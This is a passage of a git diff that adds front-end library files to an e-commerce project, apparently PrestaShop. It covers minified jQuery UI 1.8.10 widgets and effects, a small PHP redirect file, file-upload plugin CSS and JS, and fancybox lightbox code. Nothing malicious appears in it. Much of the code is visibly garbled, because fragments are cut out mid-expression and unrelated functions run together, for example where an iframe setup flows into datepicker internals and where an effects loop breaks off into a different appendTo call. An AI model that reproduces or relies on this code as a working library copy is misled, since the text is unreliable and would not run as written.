function(id){ + // We can't use following code as the name attribute + // won't be properly registered in IE6, and new window + // on form submit will open + // var iframe = document.createElement('iframe'); + // iframe.setAttribute('name', id); + + var iframe = qq.toElement('':"");a._keyEvent=false;return I},_generateMonthYearHeader:function(a,b,c,e,f,h,i,g){var j=this._get(a,"changeMonth"),l=this._get(a,"changeYear"),u=this._get(a,"showMonthAfterYear"),k='
    ', +o="";if(h||!j)o+=''+i[b]+"";else{i=e&&e.getFullYear()==c;var m=f&&f.getFullYear()==c;o+='"}u||(k+=o+(h||!(j&& +l)?" ":""));a.yearshtml="";if(h||!l)k+=''+c+"";else{g=this._get(a,"yearRange").split(":");var r=(new Date).getFullYear();i=function(s){s=s.match(/c[+-].*/)?c+parseInt(s.substring(1),10):s.match(/[+-].*/)?r+parseInt(s,10):parseInt(s,10);return isNaN(s)?r:s};b=i(g[0]);g=Math.max(b,i(g[1]||""));b=e?Math.max(b,e.getFullYear()):b;g=f?Math.min(g,f.getFullYear()):g;for(a.yearshtml+='";if(d.browser.mozilla)k+='";else{k+=a.yearshtml;a.yearshtml=null}}k+=this._get(a,"yearSuffix");if(u)k+=(h||!(j&&l)?" ":"")+o;k+="
    ";return k},_adjustInstDate:function(a,b,c){var e= +a.drawYear+(c=="Y"?b:0),f=a.drawMonth+(c=="M"?b:0);b=Math.min(a.selectedDay,this._getDaysInMonth(e,f))+(c=="D"?b:0);e=this._restrictMinMax(a,this._daylightSavingAdjust(new Date(e,f,b)));a.selectedDay=e.getDate();a.drawMonth=a.selectedMonth=e.getMonth();a.drawYear=a.selectedYear=e.getFullYear();if(c=="M"||c=="Y")this._notifyChange(a)},_restrictMinMax:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");b=c&&ba?a:b},_notifyChange:function(a){var b=this._get(a, +"onChangeMonthYear");if(b)b.apply(a.input?a.input[0]:null,[a.selectedYear,a.selectedMonth+1,a])},_getNumberOfMonths:function(a){a=this._get(a,"numberOfMonths");return a==null?[1,1]:typeof a=="number"?[1,a]:a},_getMinMaxDate:function(a,b){return this._determineDate(a,this._get(a,b+"Date"),null)},_getDaysInMonth:function(a,b){return 32-this._daylightSavingAdjust(new Date(a,b,32)).getDate()},_getFirstDayOfMonth:function(a,b){return(new Date(a,b,1)).getDay()},_canAdjustMonth:function(a,b,c,e){var f=this._getNumberOfMonths(a); +c=this._daylightSavingAdjust(new Date(c,e+(b<0?b:f[0]*f[1]),1));b<0&&c.setDate(this._getDaysInMonth(c.getFullYear(),c.getMonth()));return this._isInRange(a,c)},_isInRange:function(a,b){var c=this._getMinMaxDate(a,"min");a=this._getMinMaxDate(a,"max");return(!c||b.getTime()>=c.getTime())&&(!a||b.getTime()<=a.getTime())},_getFormatConfig:function(a){var b=this._get(a,"shortYearCutoff");b=typeof b!="string"?b:(new Date).getFullYear()%100+parseInt(b,10);return{shortYearCutoff:b,dayNamesShort:this._get(a, +"dayNamesShort"),dayNames:this._get(a,"dayNames"),monthNamesShort:this._get(a,"monthNamesShort"),monthNames:this._get(a,"monthNames")}},_formatDate:function(a,b,c,e){if(!b){a.currentDay=a.selectedDay;a.currentMonth=a.selectedMonth;a.currentYear=a.selectedYear}b=b?typeof b=="object"?b:this._daylightSavingAdjust(new Date(e,c,b)):this._daylightSavingAdjust(new Date(a.currentYear,a.currentMonth,a.currentDay));return this.formatDate(this._get(a,"dateFormat"),b,this._getFormatConfig(a))}});d.fn.datepicker= +function(a){if(!this.length)return this;if(!d.datepicker.initialized){d(document).mousedown(d.datepicker._checkExternalClick).find("body").append(d.datepicker.dpDiv);d.datepicker.initialized=true}var b=Array.prototype.slice.call(arguments,1);if(typeof a=="string"&&(a=="isDisabled"||a=="getDate"||a=="widget"))return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this[0]].concat(b));if(a=="option"&&arguments.length==2&&typeof arguments[1]=="string")return d.datepicker["_"+a+"Datepicker"].apply(d.datepicker, +[this[0]].concat(b));return this.each(function(){typeof a=="string"?d.datepicker["_"+a+"Datepicker"].apply(d.datepicker,[this].concat(b)):d.datepicker._attachDatepicker(this,a)})};d.datepicker=new K;d.datepicker.initialized=false;d.datepicker.uuid=(new Date).getTime();d.datepicker.version="1.8.10";window["DP_jQuery_"+y]=d})(jQuery); +;/* + * jQuery UI Progressbar 1.8.10 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Progressbar + * + * Depends: + * jquery.ui.core.js + * jquery.ui.widget.js + */ +(function(b,d){b.widget("ui.progressbar",{options:{value:0,max:100},min:0,_create:function(){this.element.addClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").attr({role:"progressbar","aria-valuemin":this.min,"aria-valuemax":this.options.max,"aria-valuenow":this._value()});this.valueDiv=b("
    ").appendTo(this.element);this.oldValue=this._value();this._refreshValue()},destroy:function(){this.element.removeClass("ui-progressbar ui-widget ui-widget-content ui-corner-all").removeAttr("role").removeAttr("aria-valuemin").removeAttr("aria-valuemax").removeAttr("aria-valuenow"); +this.valueDiv.remove();b.Widget.prototype.destroy.apply(this,arguments)},value:function(a){if(a===d)return this._value();this._setOption("value",a);return this},_setOption:function(a,c){if(a==="value"){this.options.value=c;this._refreshValue();this._value()===this.options.max&&this._trigger("complete")}b.Widget.prototype._setOption.apply(this,arguments)},_value:function(){var a=this.options.value;if(typeof a!=="number")a=0;return Math.min(this.options.max,Math.max(this.min,a))},_percentage:function(){return 100* +this._value()/this.options.max},_refreshValue:function(){var a=this.value(),c=this._percentage();if(this.oldValue!==a){this.oldValue=a;this._trigger("change")}this.valueDiv.toggleClass("ui-corner-right",a===this.options.max).width(c.toFixed(0)+"%");this.element.attr("aria-valuenow",a)}});b.extend(b.ui.progressbar,{version:"1.8.10"})})(jQuery); +;/* + * jQuery UI Effects 1.8.10 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/ + */ +jQuery.effects||function(f,j){function n(c){var a;if(c&&c.constructor==Array&&c.length==3)return c;if(a=/rgb\(\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*,\s*([0-9]{1,3})\s*\)/.exec(c))return[parseInt(a[1],10),parseInt(a[2],10),parseInt(a[3],10)];if(a=/rgb\(\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*,\s*([0-9]+(?:\.[0-9]+)?)\%\s*\)/.exec(c))return[parseFloat(a[1])*2.55,parseFloat(a[2])*2.55,parseFloat(a[3])*2.55];if(a=/#([a-fA-F0-9]{2})([a-fA-F0-9]{2})([a-fA-F0-9]{2})/.exec(c))return[parseInt(a[1], +16),parseInt(a[2],16),parseInt(a[3],16)];if(a=/#([a-fA-F0-9])([a-fA-F0-9])([a-fA-F0-9])/.exec(c))return[parseInt(a[1]+a[1],16),parseInt(a[2]+a[2],16),parseInt(a[3]+a[3],16)];if(/rgba\(0, 0, 0, 0\)/.exec(c))return o.transparent;return o[f.trim(c).toLowerCase()]}function s(c,a){var b;do{b=f.curCSS(c,a);if(b!=""&&b!="transparent"||f.nodeName(c,"body"))break;a="backgroundColor"}while(c=c.parentNode);return n(b)}function p(){var c=document.defaultView?document.defaultView.getComputedStyle(this,null):this.currentStyle, +a={},b,d;if(c&&c.length&&c[0]&&c[c[0]])for(var e=c.length;e--;){b=c[e];if(typeof c[b]=="string"){d=b.replace(/\-(\w)/g,function(g,h){return h.toUpperCase()});a[d]=c[b]}}else for(b in c)if(typeof c[b]==="string")a[b]=c[b];return a}function q(c){var a,b;for(a in c){b=c[a];if(b==null||f.isFunction(b)||a in t||/scrollbar/.test(a)||!/color/i.test(a)&&isNaN(parseFloat(b)))delete c[a]}return c}function u(c,a){var b={_:0},d;for(d in a)if(c[d]!=a[d])b[d]=a[d];return b}function k(c,a,b,d){if(typeof c=="object"){d= +a;b=null;a=c;c=a.effect}if(f.isFunction(a)){d=a;b=null;a={}}if(typeof a=="number"||f.fx.speeds[a]){d=b;b=a;a={}}if(f.isFunction(b)){d=b;b=null}a=a||{};b=b||a.duration;b=f.fx.off?0:typeof b=="number"?b:b in f.fx.speeds?f.fx.speeds[b]:f.fx.speeds._default;d=d||a.complete;return[c,a,b,d]}function m(c){if(!c||typeof c==="number"||f.fx.speeds[c])return true;if(typeof c==="string"&&!f.effects[c])return true;return false}f.effects={};f.each(["backgroundColor","borderBottomColor","borderLeftColor","borderRightColor", +"borderTopColor","borderColor","color","outlineColor"],function(c,a){f.fx.step[a]=function(b){if(!b.colorInit){b.start=s(b.elem,a);b.end=n(b.end);b.colorInit=true}b.elem.style[a]="rgb("+Math.max(Math.min(parseInt(b.pos*(b.end[0]-b.start[0])+b.start[0],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[1]-b.start[1])+b.start[1],10),255),0)+","+Math.max(Math.min(parseInt(b.pos*(b.end[2]-b.start[2])+b.start[2],10),255),0)+")"}});var o={aqua:[0,255,255],azure:[240,255,255],beige:[245,245,220],black:[0, +0,0],blue:[0,0,255],brown:[165,42,42],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgrey:[169,169,169],darkgreen:[0,100,0],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkviolet:[148,0,211],fuchsia:[255,0,255],gold:[255,215,0],green:[0,128,0],indigo:[75,0,130],khaki:[240,230,140],lightblue:[173,216,230],lightcyan:[224,255,255],lightgreen:[144,238,144],lightgrey:[211, +211,211],lightpink:[255,182,193],lightyellow:[255,255,224],lime:[0,255,0],magenta:[255,0,255],maroon:[128,0,0],navy:[0,0,128],olive:[128,128,0],orange:[255,165,0],pink:[255,192,203],purple:[128,0,128],violet:[128,0,128],red:[255,0,0],silver:[192,192,192],white:[255,255,255],yellow:[255,255,0],transparent:[255,255,255]},r=["add","remove","toggle"],t={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};f.effects.animateClass=function(c,a,b, +d){if(f.isFunction(b)){d=b;b=null}return this.queue("fx",function(){var e=f(this),g=e.attr("style")||" ",h=q(p.call(this)),l,v=e.attr("className");f.each(r,function(w,i){c[i]&&e[i+"Class"](c[i])});l=q(p.call(this));e.attr("className",v);e.animate(u(h,l),a,b,function(){f.each(r,function(w,i){c[i]&&e[i+"Class"](c[i])});if(typeof e.attr("style")=="object"){e.attr("style").cssText="";e.attr("style").cssText=g}else e.attr("style",g);d&&d.apply(this,arguments)});h=f.queue(this);l=h.splice(h.length-1,1)[0]; +h.splice(1,0,l);f.dequeue(this)})};f.fn.extend({_addClass:f.fn.addClass,addClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{add:c},a,b,d]):this._addClass(c)},_removeClass:f.fn.removeClass,removeClass:function(c,a,b,d){return a?f.effects.animateClass.apply(this,[{remove:c},a,b,d]):this._removeClass(c)},_toggleClass:f.fn.toggleClass,toggleClass:function(c,a,b,d,e){return typeof a=="boolean"||a===j?b?f.effects.animateClass.apply(this,[a?{add:c}:{remove:c},b,d,e]):this._toggleClass(c, +a):f.effects.animateClass.apply(this,[{toggle:c},a,b,d])},switchClass:function(c,a,b,d,e){return f.effects.animateClass.apply(this,[{add:a,remove:c},b,d,e])}});f.extend(f.effects,{version:"1.8.10",save:function(c,a){for(var b=0;b
    ").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent", +border:"none",margin:0,padding:0});c.wrap(b);b=c.parent();if(c.css("position")=="static"){b.css({position:"relative"});c.css({position:"relative"})}else{f.extend(a,{position:c.css("position"),zIndex:c.css("z-index")});f.each(["top","left","bottom","right"],function(d,e){a[e]=c.css(e);if(isNaN(parseInt(a[e],10)))a[e]="auto"});c.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})}return b.css(a).show()},removeWrapper:function(c){if(c.parent().is(".ui-effects-wrapper"))return c.parent().replaceWith(c); +return c},setTransition:function(c,a,b,d){d=d||{};f.each(a,function(e,g){unit=c.cssUnit(g);if(unit[0]>0)d[g]=unit[0]*b+unit[1]});return d}});f.fn.extend({effect:function(c){var a=k.apply(this,arguments),b={options:a[1],duration:a[2],callback:a[3]};a=b.options.mode;var d=f.effects[c];if(f.fx.off||!d)return a?this[a](b.duration,b.callback):this.each(function(){b.callback&&b.callback.call(this)});return d.call(this,b)},_show:f.fn.show,show:function(c){if(m(c))return this._show.apply(this,arguments); +else{var a=k.apply(this,arguments);a[1].mode="show";return this.effect.apply(this,a)}},_hide:f.fn.hide,hide:function(c){if(m(c))return this._hide.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="hide";return this.effect.apply(this,a)}},__toggle:f.fn.toggle,toggle:function(c){if(m(c)||typeof c==="boolean"||f.isFunction(c))return this.__toggle.apply(this,arguments);else{var a=k.apply(this,arguments);a[1].mode="toggle";return this.effect.apply(this,a)}},cssUnit:function(c){var a=this.css(c), +b=[];f.each(["em","px","%","pt"],function(d,e){if(a.indexOf(e)>0)b=[parseFloat(a),e]});return b}});f.easing.jswing=f.easing.swing;f.extend(f.easing,{def:"easeOutQuad",swing:function(c,a,b,d,e){return f.easing[f.easing.def](c,a,b,d,e)},easeInQuad:function(c,a,b,d,e){return d*(a/=e)*a+b},easeOutQuad:function(c,a,b,d,e){return-d*(a/=e)*(a-2)+b},easeInOutQuad:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a+b;return-d/2*(--a*(a-2)-1)+b},easeInCubic:function(c,a,b,d,e){return d*(a/=e)*a*a+b},easeOutCubic:function(c, +a,b,d,e){return d*((a=a/e-1)*a*a+1)+b},easeInOutCubic:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a+b;return d/2*((a-=2)*a*a+2)+b},easeInQuart:function(c,a,b,d,e){return d*(a/=e)*a*a*a+b},easeOutQuart:function(c,a,b,d,e){return-d*((a=a/e-1)*a*a*a-1)+b},easeInOutQuart:function(c,a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a+b;return-d/2*((a-=2)*a*a*a-2)+b},easeInQuint:function(c,a,b,d,e){return d*(a/=e)*a*a*a*a+b},easeOutQuint:function(c,a,b,d,e){return d*((a=a/e-1)*a*a*a*a+1)+b},easeInOutQuint:function(c, +a,b,d,e){if((a/=e/2)<1)return d/2*a*a*a*a*a+b;return d/2*((a-=2)*a*a*a*a+2)+b},easeInSine:function(c,a,b,d,e){return-d*Math.cos(a/e*(Math.PI/2))+d+b},easeOutSine:function(c,a,b,d,e){return d*Math.sin(a/e*(Math.PI/2))+b},easeInOutSine:function(c,a,b,d,e){return-d/2*(Math.cos(Math.PI*a/e)-1)+b},easeInExpo:function(c,a,b,d,e){return a==0?b:d*Math.pow(2,10*(a/e-1))+b},easeOutExpo:function(c,a,b,d,e){return a==e?b+d:d*(-Math.pow(2,-10*a/e)+1)+b},easeInOutExpo:function(c,a,b,d,e){if(a==0)return b;if(a== +e)return b+d;if((a/=e/2)<1)return d/2*Math.pow(2,10*(a-1))+b;return d/2*(-Math.pow(2,-10*--a)+2)+b},easeInCirc:function(c,a,b,d,e){return-d*(Math.sqrt(1-(a/=e)*a)-1)+b},easeOutCirc:function(c,a,b,d,e){return d*Math.sqrt(1-(a=a/e-1)*a)+b},easeInOutCirc:function(c,a,b,d,e){if((a/=e/2)<1)return-d/2*(Math.sqrt(1-a*a)-1)+b;return d/2*(Math.sqrt(1-(a-=2)*a)+1)+b},easeInElastic:function(c,a,b,d,e){c=1.70158;var g=0,h=d;if(a==0)return b;if((a/=e)==1)return b+d;g||(g=e*0.3);if(h
    ").css({position:"absolute",visibility:"visible",left:-f*(h/d),top:-e*(i/c)}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:h/d,height:i/c,left:g.left+f*(h/d)+(a.options.mode=="show"?(f-Math.floor(d/2))*(h/d):0),top:g.top+e*(i/c)+(a.options.mode=="show"?(e-Math.floor(c/2))*(i/c):0),opacity:a.options.mode=="show"?0:1}).animate({left:g.left+f*(h/d)+(a.options.mode=="show"?0:(f-Math.floor(d/2))*(h/d)),top:g.top+ +e*(i/c)+(a.options.mode=="show"?0:(e-Math.floor(c/2))*(i/c)),opacity:a.options.mode=="show"?1:0},a.duration||500);setTimeout(function(){a.options.mode=="show"?b.css({visibility:"visible"}):b.css({visibility:"visible"}).hide();a.callback&&a.callback.apply(b[0]);b.dequeue();j("div.ui-effects-explode").remove()},a.duration||500)})}})(jQuery); +;/* + * jQuery UI Effects Fade 1.8.10 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fade + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.fade=function(a){return this.queue(function(){var c=b(this),d=b.effects.setMode(c,a.options.mode||"hide");c.animate({opacity:d},{queue:false,duration:a.duration,easing:a.options.easing,complete:function(){a.callback&&a.callback.apply(this,arguments);c.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Fold 1.8.10 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Fold + * + * Depends: + * jquery.effects.core.js + */ +(function(c){c.effects.fold=function(a){return this.queue(function(){var b=c(this),j=["position","top","bottom","left","right"],d=c.effects.setMode(b,a.options.mode||"hide"),g=a.options.size||15,h=!!a.options.horizFirst,k=a.duration?a.duration/2:c.fx.speeds._default/2;c.effects.save(b,j);b.show();var e=c.effects.createWrapper(b).css({overflow:"hidden"}),f=d=="show"!=h,l=f?["width","height"]:["height","width"];f=f?[e.width(),e.height()]:[e.height(),e.width()];var i=/([0-9]+)%/.exec(g);if(i)g=parseInt(i[1], +10)/100*f[d=="hide"?0:1];if(d=="show")e.css(h?{height:0,width:g}:{height:g,width:0});h={};i={};h[l[0]]=d=="show"?f[0]:g;i[l[1]]=d=="show"?f[1]:0;e.animate(h,k,a.options.easing).animate(i,k,a.options.easing,function(){d=="hide"&&b.hide();c.effects.restore(b,j);c.effects.removeWrapper(b);a.callback&&a.callback.apply(b[0],arguments);b.dequeue()})})}})(jQuery); +;/* + * jQuery UI Effects Highlight 1.8.10 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Highlight + * + * Depends: + * jquery.effects.core.js + */ +(function(b){b.effects.highlight=function(c){return this.queue(function(){var a=b(this),e=["backgroundImage","backgroundColor","opacity"],d=b.effects.setMode(a,c.options.mode||"show"),f={backgroundColor:a.css("backgroundColor")};if(d=="hide")f.opacity=0;b.effects.save(a,e);a.show().css({backgroundImage:"none",backgroundColor:c.options.color||"#ffff99"}).animate(f,{queue:false,duration:c.duration,easing:c.options.easing,complete:function(){d=="hide"&&a.hide();b.effects.restore(a,e);d=="show"&&!b.support.opacity&& +this.style.removeAttribute("filter");c.callback&&c.callback.apply(this,arguments);a.dequeue()}})})}})(jQuery); +;/* + * jQuery UI Effects Pulsate 1.8.10 + * + * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * http://docs.jquery.com/UI/Effects/Pulsate + * + * Depends: + * jquery.effects.core.js + */ +(function(d){d.effects.pulsate=function(a){return this.queue(function(){var b=d(this),c=d.effects.setMode(b,a.options.mode||"show");times=(a.options.times||5)*2-1;duration=a.duration?a.duration/2:d.fx.speeds._default/2;isVisible=b.is(":visible");animateTo=0;if(!isVisible){b.css("opacity",0).show();animateTo=1}if(c=="hide"&&isVisible||c=="show"&&!isVisible)times--;for(c=0;c
    ').appendTo(document.body).addClass(a.options.className).css({top:d.top,left:d.left,height:b.innerHeight(),width:b.innerWidth(),position:"absolute"}).animate(c,a.duration,a.options.easing,function(){f.remove();a.callback&&a.callback.apply(b[0],arguments); +b.dequeue()})})}})(jQuery); +; \ No newline at end of file diff --git a/js/jquery/jquery.noConflict.php b/js/jquery/jquery.noConflict.php new file mode 100755 index 0000000..29aa72d --- /dev/null +++ b/js/jquery/jquery.noConflict.php @@ -0,0 +1,4 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/plugins/ajaxfileupload/jquery.ajaxfileupload.css b/js/jquery/plugins/ajaxfileupload/jquery.ajaxfileupload.css new file mode 100755 index 0000000..0e3f111 --- /dev/null +++ b/js/jquery/plugins/ajaxfileupload/jquery.ajaxfileupload.css @@ -0,0 +1,31 @@ +.qq-uploader { position:relative; width: 100%;} + +.qq-upload-button { + display:block; /* or inline-block */ + width: 105px; padding: 7px 0; text-align:center; + background:#880000; border-bottom:1px solid #ddd;color:#fff; +} +.qq-upload-button-hover {background:#cc0000;} +.qq-upload-button-focus {outline:1px dotted black;} + +.qq-upload-drop-area { + position:absolute; top:0; left:0; width:100%; height:100%; min-height: 70px; z-index:2; + background:#FF9797; text-align:center; +} +.qq-upload-drop-area span { + display:block; position:absolute; top: 50%; width:100%; margin-top:-8px; font-size:16px; +} +.qq-upload-drop-area-active {background:#FF7171;} + +.qq-upload-list {margin:15px 35px; padding:0; list-style:disc;} +.qq-upload-list li { margin:0; padding:0; line-height:15px; font-size:12px;} +.qq-upload-file, .qq-upload-spinner, .qq-upload-size, .qq-upload-cancel, .qq-upload-failed-text { + margin-right: 7px; +} + +.qq-upload-file {} +.qq-upload-spinner {display:inline-block; background: url("loading.gif"); width:15px; height:15px; vertical-align:text-bottom;} +.qq-upload-size,.qq-upload-cancel {font-size:11px;} + +.qq-upload-failed-text {display:none;} +.qq-upload-fail .qq-upload-failed-text {display:inline;} \ No newline at end of file diff --git a/js/jquery/plugins/ajaxfileupload/jquery.ajaxfileupload.js b/js/jquery/plugins/ajaxfileupload/jquery.ajaxfileupload.js new file mode 100755 index 0000000..1565769 --- /dev/null +++ b/js/jquery/plugins/ajaxfileupload/jquery.ajaxfileupload.js @@ -0,0 +1,6 @@ +/* + * this file come from: + * http://www.phpletter.com/Demo/AjaxFileUpload-Demo/ + * v 2.1 + */ +jQuery.extend({createUploadIframe:function(a,b){var c="jUploadFrame"+a;var d='').appendTo(content); + } + + wrap.show(); + + busy = false; + + $.fancybox.center(); + + currentOpts.onComplete(currentArray, currentIndex, currentOpts); + + _preload_images(); + }, + + _preload_images = function() { + var href, + objNext; + + if ((currentArray.length -1) > currentIndex) { + href = currentArray[ currentIndex + 1 ].href; + + if (typeof href !== 'undefined' && href.match(imgRegExp)) { + objNext = new Image(); + objNext.src = href; + } + } + + if (currentIndex > 0) { + href = currentArray[ currentIndex - 1 ].href; + + if (typeof href !== 'undefined' && href.match(imgRegExp)) { + objNext = new Image(); + objNext.src = href; + } + } + }, + + _draw = function(pos) { + var dim = { + width : parseInt(start_pos.width + (final_pos.width - start_pos.width) * pos, 10), + height : parseInt(start_pos.height + (final_pos.height - start_pos.height) * pos, 10), + + top : parseInt(start_pos.top + (final_pos.top - start_pos.top) * pos, 10), + left : parseInt(start_pos.left + (final_pos.left - start_pos.left) * pos, 10) + }; + + if (typeof final_pos.opacity !== 'undefined') { + dim.opacity = pos < 0.5 ? 0.5 : pos; + } + + wrap.css(dim); + + content.css({ + 'width' : dim.width - currentOpts.padding * 2, + 'height' : dim.height - (titleHeight * pos) - currentOpts.padding * 2 + }); + }, + + _get_viewport = function() { + return [ + $(window).width() - (currentOpts.margin * 2), + $(window).height() - (currentOpts.margin * 2), + $(document).scrollLeft() + currentOpts.margin, + $(document).scrollTop() + currentOpts.margin + ]; + }, + + _get_zoom_to = function () { + var view = _get_viewport(), + to = {}, + resize = currentOpts.autoScale, + double_padding = currentOpts.padding * 2, + ratio; + + if (currentOpts.width.toString().indexOf('%') > -1) { + to.width = parseInt((view[0] * parseFloat(currentOpts.width)) / 100, 10); + } else { + to.width = currentOpts.width + double_padding; + } + + if (currentOpts.height.toString().indexOf('%') > -1) { + to.height = parseInt((view[1] * parseFloat(currentOpts.height)) / 100, 10); + } else { + to.height = currentOpts.height + double_padding; + } + + if (resize && (to.width > view[0] || to.height > view[1])) { + if (selectedOpts.type == 'image' || selectedOpts.type == 'swf') { + ratio = (currentOpts.width ) / (currentOpts.height ); + + if ((to.width ) > view[0]) { + to.width = view[0]; + to.height = parseInt(((to.width - double_padding) / ratio) + double_padding, 10); + } + + if ((to.height) > view[1]) { + to.height = view[1]; + to.width = parseInt(((to.height - double_padding) * ratio) + double_padding, 10); + } + + } else { + to.width = Math.min(to.width, view[0]); + to.height = Math.min(to.height, view[1]); + } + } + + to.top = parseInt(Math.max(view[3] - 20, view[3] + ((view[1] - to.height - 40) * 0.5)), 10); + to.left = parseInt(Math.max(view[2] - 20, view[2] + ((view[0] - to.width - 40) * 0.5)), 10); + + return to; + }, + + _get_obj_pos = function(obj) { + var pos = obj.offset(); + + pos.top += parseInt( obj.css('paddingTop'), 10 ) || 0; + pos.left += parseInt( obj.css('paddingLeft'), 10 ) || 0; + + pos.top += parseInt( obj.css('border-top-width'), 10 ) || 0; + pos.left += parseInt( obj.css('border-left-width'), 10 ) || 0; + + pos.width = obj.width(); + pos.height = obj.height(); + + return pos; + }, + + _get_zoom_from = function() { + var orig = selectedOpts.orig ? $(selectedOpts.orig) : false, + from = {}, + pos, + view; + + if (orig && orig.length) { + pos = _get_obj_pos(orig); + + from = { + width : pos.width + (currentOpts.padding * 2), + height : pos.height + (currentOpts.padding * 2), + top : pos.top - currentOpts.padding - 20, + left : pos.left - currentOpts.padding - 20 + }; + + } else { + view = _get_viewport(); + + from = { + width : currentOpts.padding * 2, + height : currentOpts.padding * 2, + top : parseInt(view[3] + view[1] * 0.5, 10), + left : parseInt(view[2] + view[0] * 0.5, 10) + }; + } + + return from; + }, + + _animate_loading = function() { + if (!loading.is(':visible')){ + clearInterval(loadingTimer); + return; + } + + $('div', loading).css('top', (loadingFrame * -40) + 'px'); + + loadingFrame = (loadingFrame + 1) % 12; + }; + + /* + * Public methods + */ + + $.fn.fancybox = function(options) { + if (!$(this).length) { + return this; + } + + $(this) + .data('fancybox', $.extend({}, options, ($.metadata ? $(this).metadata() : {}))) + .unbind('click.fb') + .bind('click.fb', function(e) { + e.preventDefault(); + + if (busy) { + return; + } + + busy = true; + + $(this).blur(); + + selectedArray = []; + selectedIndex = 0; + + var rel = $(this).attr('rel') || ''; + + if (!rel || rel == '' || rel === 'nofollow') { + selectedArray.push(this); + + } else { + selectedArray = $("a[rel=" + rel + "], area[rel=" + rel + "]"); + selectedIndex = selectedArray.index( this ); + } + + _start(); + + return; + }); + + return this; + }; + + $.fancybox = function(obj) { + var opts; + + if (busy) { + return; + } + + busy = true; + opts = typeof arguments[1] !== 'undefined' ? arguments[1] : {}; + + selectedArray = []; + selectedIndex = parseInt(opts.index, 10) || 0; + + if ($.isArray(obj)) { + for (var i = 0, j = obj.length; i < j; i++) { + if (typeof obj[i] == 'object') { + $(obj[i]).data('fancybox', $.extend({}, opts, obj[i])); + } else { + obj[i] = $({}).data('fancybox', $.extend({content : obj[i]}, opts)); + } + } + + selectedArray = jQuery.merge(selectedArray, obj); + + } else { + if (typeof obj == 'object') { + $(obj).data('fancybox', $.extend({}, opts, obj)); + } else { + obj = $({}).data('fancybox', $.extend({content : obj}, opts)); + } + + selectedArray.push(obj); + } + + if (selectedIndex > selectedArray.length || selectedIndex < 0) { + selectedIndex = 0; + } + + _start(); + }; + + $.fancybox.showActivity = function() { + clearInterval(loadingTimer); + + loading.show(); + loadingTimer = setInterval(_animate_loading, 66); + }; + + $.fancybox.hideActivity = function() { + loading.hide(); + }; + + $.fancybox.next = function() { + return $.fancybox.pos( currentIndex + 1); + }; + + $.fancybox.prev = function() { + return $.fancybox.pos( currentIndex - 1); + }; + + $.fancybox.pos = function(pos) { + if (busy) { + return; + } + + pos = parseInt(pos); + + selectedArray = currentArray; + + if (pos > -1 && pos < currentArray.length) { + selectedIndex = pos; + _start(); + + } else if (currentOpts.cyclic && currentArray.length > 1) { + selectedIndex = pos >= currentArray.length ? 0 : currentArray.length - 1; + _start(); + } + + return; + }; + + $.fancybox.cancel = function() { + if (busy) { + return; + } + + busy = true; + + $.event.trigger('fancybox-cancel'); + + _abort(); + + selectedOpts.onCancel(selectedArray, selectedIndex, selectedOpts); + + busy = false; + }; + + // Note: within an iframe use - parent.$.fancybox.close(); + $.fancybox.close = function() { + if (busy || wrap.is(':hidden')) { + return; + } + + busy = true; + + if (currentOpts && false === currentOpts.onCleanup(currentArray, currentIndex, currentOpts)) { + busy = false; + return; + } + + _abort(); + + $(close.add( nav_left ).add( nav_right )).hide(); + + $(content.add( overlay )).unbind(); + + $(window).unbind("resize.fb scroll.fb"); + $(document).unbind('keydown.fb'); + + content.find('iframe').attr('src', isIE6 && /^https/i.test(window.location.href || '') ? 'javascript:void(false)' : 'about:blank'); + + if (currentOpts.titlePosition !== 'inside') { + title.empty(); + } + + wrap.stop(); + + function _cleanup() { + overlay.fadeOut('fast'); + + title.empty().hide(); + 